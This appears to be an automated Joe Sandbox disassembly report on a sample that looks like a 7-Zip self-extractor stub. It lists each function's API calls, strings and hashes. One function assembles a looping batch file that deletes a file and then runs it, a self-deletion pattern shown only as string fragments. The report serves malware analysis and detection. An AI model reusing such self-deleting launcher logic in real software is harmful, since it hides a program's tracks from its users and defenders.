Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004050E7
_wtol.MSVCRT ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00A391C8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00A391C8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

WarningTitle, xrefs: 00404FA2
Progress, xrefs: 00404FD2
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
ExtractPathText, xrefs: 00405124
ExtractTitle, xrefs: 00404FBA
ExtractDialogWidth, xrefs: 004050C9
ErrorTitle, xrefs: 00404F8A
CancelPrompt, xrefs: 0040513C
ExtractPathWidth, xrefs: 004050F0
GUIMode, xrefs: 00404FFF
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
PasswordTitle, xrefs: 00405154
ExtractPathTitle, xrefs: 0040510C
ExtractCancelText, xrefs: 004050AC
OverwriteMode, xrefs: 0040502C
Title, xrefs: 00404F1C
PasswordText, xrefs: 0040516C
ExtractDialogText, xrefs: 004050B8

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2725485552-2157245290
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946

Strings

:Repeat, xrefs: 00405826
if exist ", xrefs: 0040585B
", xrefs: 0040584D, 00405852, 00405896
open, xrefs: 004058F7
7ZSfx%03x.cmd, xrefs: 004057EC
del ", xrefs: 00405833, 00405838, 00405881
" goto Repeat, xrefs: 00405874

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565

Strings

riched20, xrefs: 004034A0
STATIC, xrefs: 00403440
{\rtf, xrefs: 0040346C
RichEdit20W, xrefs: 004034EF

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

STATIC, xrefs: 004022F3
IMAGES, xrefs: 0040232E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D

??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
